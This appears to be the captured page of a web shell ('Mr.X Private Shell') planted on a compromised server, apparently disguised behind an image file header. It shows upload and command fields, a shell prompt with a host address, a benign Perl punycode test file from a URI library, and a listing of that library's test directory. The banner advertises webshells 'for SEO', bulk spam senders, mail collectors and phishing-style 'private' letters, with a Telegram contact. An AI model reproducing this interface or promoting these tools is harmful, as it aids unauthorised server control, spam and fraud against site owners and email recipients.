����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;

use utf8;
use Test::More tests => 15;
use URI::_punycode qw( decode_punycode encode_punycode );

my %RFC_3492 = (
    A => {
	unicode => udecode("u+0644 u+064A u+0647 u+0645 u+0627 u+0628 u+062A u+0643 u+0644 u+0645 u+0648 u+0634 u+0639 u+0631 u+0628 u+064A u+061F"),
	ascii => "egbpdaj6bu4bxfgehfvwxn",
    },
    B => {
	unicode => udecode("u+4ED6 u+4EEC u+4E3A u+4EC0 u+4E48 u+4E0D u+8BF4 u+4E2D u+6587"),
	ascii => "ihqwcrb4cv8a8dqg056pqjye",
    },
    E => {
	unicode => udecode("u+05DC u+05DE u+05D4 u+05D4 u+05DD u+05E4 u+05E9 u+05D5 u+05D8 u+05DC u+05D0 u+05DE u+05D3 u+05D1 u+05E8 u+05D9 u+05DD u+05E2 u+05D1 u+05E8 u+05D9 u+05EA"),
	ascii => "4dbcagdahymbxekheh6e0a7fei0b",
    },
    J => {
	unicode => udecode("U+0050 u+006F u+0072 u+0071 u+0075 u+00E9 u+006E u+006F u+0070 u+0075 u+0065 u+0064 u+0065 u+006E u+0073 u+0069 u+006D u+0070 u+006C u+0065 u+006D u+0065 u+006E u+0074 u+0065 u+0068 u+0061 u+0062 u+006C u+0061 u+0072 u+0065 u+006E U+0045 u+0073 u+0070 u+0061 u+00F1 u+006F u+006C"),
	ascii => "PorqunopuedensimplementehablarenEspaol-fmd56a",
    },
    K => {
	unicode => udecode("U+0054 u+1EA1 u+0069 u+0073 u+0061 u+006F u+0068 u+1ECD u+006B u+0068 u+00F4 u+006E u+0067 u+0074 u+0068 u+1EC3 u+0063 u+0068 u+1EC9 u+006E u+00F3 u+0069 u+0074 u+0069 u+1EBF u+006E u+0067 U+0056 u+0069 u+1EC7 u+0074"),
	ascii => "TisaohkhngthchnitingVit-kjcr8268qyxafd2f1b9g",
    },
    O => {
	unicode => udecode("u+3072 u+3068 u+3064 u+5C4B u+6839 u+306E u+4E0B u+0032"),
	ascii => "2-u9tlzr9756bt3uc0v",
    },
    S => {
	unicode => "\$1.00",
	ascii =>   "\$1.00",
    },
);

is encode_punycode("bücher"), "bcher-kva", "http://en.wikipedia.org/wiki/Punycode example encode";
is decode_punycode("bcher-kva"), "bücher", "http://en.wikipedia.org/wiki/Punycode example decode";

for my $test_key (sort keys %RFC_3492) {
    my $test = $RFC_3492{$test_key};
    is encode_punycode($test->{unicode}), $test->{ascii}, "$test_key encode";
    is decode_punycode($test->{ascii}), $test->{unicode}, "$test_key decode" unless $test_key eq "S";
}

sub udecode {
    my $str = shift;
    my @u;
    for (split(" ", $str)) {
	/^[uU]\+[\dA-F]{2,4}$/ || die "Unexpected ucode: $_";
	push(@u, chr(hex(substr($_, 2))));
    }
    return join("", @u);
}

Filemanager

Name Type Size Permission Actions
00-report-prereqs.dd File 3.7 KB 0644
00-report-prereqs.t File 5.88 KB 0644
abs.t File 5.44 KB 0644
clone.t File 331 B 0644
cwd.t File 176 B 0644
data.t File 2.28 KB 0644
escape-char.t File 613 B 0644
escape.t File 2.88 KB 0644
file.t File 3.61 KB 0644
ftp.t File 803 B 0644
ftpes.t File 231 B 0644
ftps.t File 230 B 0644
generic.t File 3.71 KB 0644
geo_basic.t File 1.72 KB 0644
geo_construct.t File 2.1 KB 0644
geo_point.t File 429 B 0644
gopher.t File 1020 B 0644
heuristic.t File 3.35 KB 0644
http.t File 1.08 KB 0644
icap.t File 1.08 KB 0644
idna.t File 503 B 0644
ipv6.t File 220 B 0644
irc.t File 890 B 0644
ircs.t File 239 B 0644
iri.t File 2.71 KB 0644
ldap.t File 2.38 KB 0644
mailto.t File 2.34 KB 0644
mix.t File 1.44 KB 0644
mms.t File 555 B 0644
news.t File 1.01 KB 0644
num_eq.t File 389 B 0644
old-absconf.t File 730 B 0644
old-base.t File 34.04 KB 0644
old-file.t File 2.71 KB 0644
old-relbase.t File 748 B 0644
otpauth.t File 8.33 KB 0644
path-segments.t File 1000 B 0644
pop.t File 828 B 0644
punycode.t File 2.22 KB 0644
query-param.t File 1.96 KB 0644
query.t File 3.29 KB 0644
rel.t File 541 B 0644
rfc2732.t File 1.86 KB 0644
roy-test.t File 936 B 0644
roytest1.html File 7.32 KB 0644
roytest2.html File 3.56 KB 0644
roytest3.html File 3.01 KB 0644
roytest4.html File 3.63 KB 0644
roytest5.html File 3.28 KB 0644
rsync.t File 263 B 0644
rtsp.t File 651 B 0644
scheme-exceptions.t File 480 B 0644
scp.t File 283 B 0644
sftp.t File 285 B 0644
sip.t File 2.23 KB 0644
smb.t File 838 B 0644
smtp.t File 954 B 0644
sort-hash-query-form.t File 354 B 0644
split.t File 994 B 0644
sq-brackets-legacy.t File 1.08 KB 0644
sq-brackets.t File 8.01 KB 0644
ssh.t File 283 B 0644
storable-test.pl File 577 B 0644
storable.t File 234 B 0644
urn-isbn.t File 746 B 0644
urn-oid.t File 278 B 0644
urn-scheme-exceptions.t File 525 B 0644
userpass.t File 429 B 0644
utf8.t File 543 B 0644
ws.t File 1.06 KB 0644